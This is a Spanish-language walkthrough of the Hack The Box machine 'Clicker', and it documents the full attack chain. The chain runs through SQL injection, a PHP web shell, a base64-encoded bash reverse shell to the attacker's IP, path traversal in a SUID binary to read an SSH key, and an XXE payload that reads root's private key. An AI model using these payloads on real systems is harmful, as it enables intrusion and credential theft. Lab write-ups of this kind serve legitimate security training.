Descripción

Clicker es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inyección SQL en la aplicación web que conduce a la ejecución remota de comandos después de inyectar código PHP
  • Pivote del usuario mediante ingeniería inversa de la funcionalidad de un binario personalizado
  • Elevación de privilegios mediante la recuperación de la clave privada SSH root utilizando una vulnerabilidad XXE

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.232.

$ ping -c 3 10.10.11.232
PING 10.10.11.232 (10.10.11.232) 56(84) bytes of data.
64 bytes from 10.10.11.232: icmp_seq=1 ttl=63 time=46.1 ms
64 bytes from 10.10.11.232: icmp_seq=2 ttl=63 time=47.7 ms
64 bytes from 10.10.11.232: icmp_seq=3 ttl=63 time=46.2 ms

--- 10.10.11.232 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 46.085/46.646/47.694/0.741 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.232 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.232
Host is up (0.048s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
2049/tcp open  nfs

Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds

Obtenemos cuatro puertos abiertos: 22, 80, 111 y 2049.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.232 -sV -sC -p22,80,111,2049 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.232
Host is up (0.046s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp  open  rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
2049/tcp open  nfs     3-4 (RPC #100003)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds

Obtenemos tres servicios: un Secure Shell (SSH), y un Hypertext Transfer Protocol (HTTP) y un Network File System (NFS). Como no tenemos credenciales de acceso para el servicio SSH vamos a movernos al servicio HTTP. Agregamos el dominio clicker.htb al archivo /etc/hosts.

$ echo '10.10.11.232 clicker.htb' | sudo tee -a /etc/hosts

Al realizar una lista de los contenidos del sitio web, encontramos un juego de clics en el cual podemos registrarnos o iniciar sesión. Podemos registrar una cuenta y jugar al juego. Cuando se presiona el botón Save and close, se envía una solicitud al servidor, a la dirección /save_game.php con los parámetros clicks y level. También tenemos una opción en la que podemos observar un tablero de clasificación. No encontramos una vulnerabilidad en el sitio web, por lo que nos movemos al servicio NFS. El servicio NFS no está protegido, por lo que podemos listar los directorios compartidos.

$ showmount -e clicker.htb                
Export list for clicker.htb:
/mnt/backups *

Encontramos que el directorio /mnt/backups del equipo remoto está compartido. Podemos montarlo en nuestro equipo y realizar una lista de sus contenidos.

$ mkdir backup_mount 
$ sudo mount -t nfs clicker.htb:/mnt/backups ./backup_mount -o nolock
$ find backup_mount 
backup_mount
backup_mount/clicker.htb_backup.zip

Encontramos lo que parece ser el archivo de respaldo del sitio web en formato .zip, lo extraemos.

$  unzip backup_mount/clicker.htb_backup.zip 
Archive:  backup_mount/clicker.htb_backup.zip
   creating: clicker.htb/
  inflating: clicker.htb/play.php    
  inflating: clicker.htb/profile.php  
  inflating: clicker.htb/authenticate.php  
  inflating: clicker.htb/create_player.php  
  inflating: clicker.htb/logout.php
...

Encontramos el código fuente de la aplicación web en PHP de Clicker. Al revisar el código fuente encontramos lo que parece ser una consulta vulnerable a inyección SQL, en el archivo db_utils.php.

$ cat clicker.htb/db_utils.php
...
function save_profile($player, $args) {
        global $pdo;
        $params = ["player"=>$player];
        $setStr = "";
        foreach ($args as $key => $value) {
                $setStr .= $key . "=" . $pdo->quote($value) . ",";
        }
        $setStr = rtrim($setStr, ",");
        $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
        $stmt -> execute($params);
}
...

Encontramos que está utilizando una sentencia preparada, pero el parámetro que se prepara es solo el player. En la setStr podemos injectar código ya que está agregando cada par de parámetros <nombre_de_parámetro>=<valor_del_parámetro> con una coma al final a la consulta. Ese código está manejando la solicitud que vimos previamente hacia el endpoint save_game.php.

$ cat clicker.htb/save_game.php 
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
...
        save_profile($_SESSION['PLAYER'], $_GET);
...
}
?>

En el función create_new_player del archivo db_utils.php encontramos los parámetros que tiene el usuario: username, nickname, password, role, clicks y level.

function create_new_player($player, $password) {
        global $pdo;
        $params = ["player"=>$player, "password"=>hash("sha256", $password)];
        $stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
        $stmt->execute($params);
}

Explotación

Podemos intentar utilizar la inyección SQL para cambiar nuestro rol, desde el default User al Admin como encontramos en el archivo admin.php.

$ cat clicker.htb/admin.php   
<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}
?>
...

Para la inyección SQL transformaremos la consulta UPDATE players SET click=10,level=0 WHERE username = user a la de UPDATE players SET clicks=10,role='Admin',level=0 WHERE username = user. Para el payload, codificado en URL, usaremos: /save_game.php?clicks%3d10,role%3d'Admin',level%3d0. Ahora necesitamos cerrar sesión y volver a iniciar para tener acceso al panel de administración en una nueva opción. Encontramos en esta nueva opción que podemos exportar los resultados del tablero de clasificación en formatos .txt, .json y .html. Cuando se exporta el archivo, recibimos el mensaje Data has been saved in exports/top_players_sbflshl9.txt. Se envía una solicitud POST al endpoint /export.php con los parámetros threshold (1000000) y extension (txt).

Hay control de tipos en el archivo exportado, pero solo para archivos con la extensión .txt y .json. Si se especifica otra extensión, se guardará código HTML.

$ cat clicker.htb/admin.php
...
if ($_POST["extension"] == "txt") {
    $s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
    foreach ($data as $player) {
    $s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
  }
} elseif ($_POST["extension"] == "json") {
  $s .= json_encode($currentplayer);
  $s .= json_encode($data);
} else {
  $s .= '<table>';
  $s .= '<thead>';
  $s .= '  <tr>';
  $s .= '    <th scope="col">Nickname</th>';
  $s .= '    <th scope="col">Clicks</th>';
  $s .= '    <th scope="col">Level</th>';
..

Si logramos inyectar código PHP en el archivo exportado como un archivo .php podríamos obtener Ejecución de Comandos Remotos. Como los valores de Clicks y Level son números, necesitamos cambiar el campo Nickname. Podríamos intentar la inyección anterior para cambiar la columna nickname a algo como <?php system($_GET['param']); ?>. La solicitud será /save_game.php?nickname=<%3fphp+system($_GET['param'])%3b+%3f>. Luego solicitamos generar el archivo .php con la solicitud POST al endpoint export.php con los datos threshold=1000000&extension=php. Encontramos el archivo top_players_rshwsr9k.php, por lo que ahora logramos RCE enviando el parámetro param con un comando, como id, a http://clicker.htb/exports/top_players_rshwsr9k.php?param=id. La vulnerabilidad ha funcionado, ahora podemos utilizar esto para lanzar la terminal inversa.

$ nc -nvlp 1234

Podemos utilizar un payload codificado en URL como echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2bJjE=|base64+-d|bash (bash -i >& /dev/tcp/10.10.14.11/1234 0>&1) para recibir el terminal inverso. Funciona. Actualizamos el terminal.

$ nc -nvlp 1234                                                 
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.232] 46018
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@clicker:/var/www/clicker.htb/exports$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@clicker:/var/www/clicker.htb/exports$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@clicker:/var/www/clicker.htb/exports$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Como usuarios de consola en los sistemas encontramos root y jack.

www-data@clicker:/var/www/clicker.htb/exports$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash

Buscando binarios SUID en el sistema encontramos uno poco común llamado execute_query.

www-data@clicker:/var/www/clicker.htb/exports$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
...
/opt/manage/execute_query
www-data@clicker:/var/www/clicker.htb/exports$ ls -l /opt/manage/execute_query
-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 /opt/manage/execute_query

Al ejecutar el archivo, se ejecuta con los permisos del usuario jack. Es un archivo binario y hay ayuda sobre el comando en el archivo README.md.

www-data@clicker:/var/www/clicker.htb/exports$ cd /opt/manage/
www-data@clicker:/opt/manage$ ls
README.txt  execute_query
www-data@clicker:/opt/manage$ file execute_query 
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
www-data@clicker:/opt/manage$ cat README.txt 
Web application Management

Use the binary to execute the following task:
        - 1: Creates the database structure and adds user admin
        - 2: Creates fake players (better not tell anyone)
        - 3: Resets the admin password
        - 4: Deletes all users except the admin

Encontramos que utilizando un número de función no estándar, por ejemplo 5, y luego un directorio con un cruce de directorios apuntando a un archivo podemos incluirla.

www-data@clicker:/opt/manage$ /opt/manage/execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Podemos extraer la clave SSH privada del usuario jack.

www-data@clicker:/opt/manage$ /opt/manage/execute_query 5 ..//.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
...
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

Podemos iniciar sesión utilizando el protocolo SSH.

$ ssh -i id_rsa jack@clicker.htb
jack@clicker:~$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

Encontramos que el usuario jack puede ejecutar cualquier comando como usuario root, pero solo proporcionando una contraseña. Sin ella, sólo puede ejecutar el script /opt/monitor.sh. Con el parámetro SETENV podemos establecer las variables de entorno que podemos pasar al programa.

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

El script está utilizando la orden curl para obtener datos de diagnóstico desde el endpoint diagnostic.php del servidor mediante curl. Luego, se lee el contenido de los datos de diagnóstico (presumiblemente XML) con la orden binaria xml_pp. Establece la variable PATH y deshabilita las variables PERL5LIB PERLLIB.

jack@clicker:~$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

El script nos devuelve el archivo XML de diagnóstico.

jack@clicker:~$ sudo /opt/monitor.sh
<?xml version="1.0"?>
<data>
  <php-version>8.1.2-1ubuntu2.14</php-version>
  <test-connection-db>OK</test-connection-db>
  <memory-usage>392704</memory-usage>
  <environment>
    <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
    <SYSTEMD_EXEC_PID>1174</SYSTEMD_EXEC_PID>
    <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
    <JOURNAL_STREAM>8:26315</JOURNAL_STREAM>
    <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
    <INVOCATION_ID>97bbfc92acad45a3999cac5894d8f37a</INVOCATION_ID>
    <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
    <LANG>C</LANG>
    <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
    <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
    <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
    <PWD>/</PWD>
  </environment>
</data>

Si pudiéramos interceptar la solicitud y cambiarla para aprovechar una vulnerabilidad XXE (XML External Entity) podemos devolver archivos privilegiados, como /etc/shadow o /root/.ssh/id_rsa. Podemos utilizar la variable de entorno http_proxy para apuntar a nuestro servidor y activar la interceptación en nuestro proxy.

jack@clicker:~$ sudo http_proxy=http://10.10.14.11:8080 /opt/monitor.sh

Vamos a utilizar el siguiente código XML para el XXE.

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/root/.ssh/id_rsa"> ]><element>&xxe;</element>

Obtenemos la clave privada.

jack@clicker:~$ sudo http_proxy=http://10.10.14.11:8080 /opt/monitor.sh
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "/root/.ssh/id_rsa">
]>
<element>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmQBWGDv1n5tAPBu2Q/DsRCIZoPhthS8T+uoYa6CL+gKtJJGok8xC
...

Iniciamos sesión utilizando SSH para obtener acceso completo de privilegios.

$ ssh -i id_rsa_root root@clicker.htb
...
root@clicker:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En el terminal root podemos recuperar las flags de user.txt y root.txt.

root@clicker:~# cat /home/jack/user.txt 
<REDACTED>
root@clicker:~# cat /root/root.txt 
<REDACTED>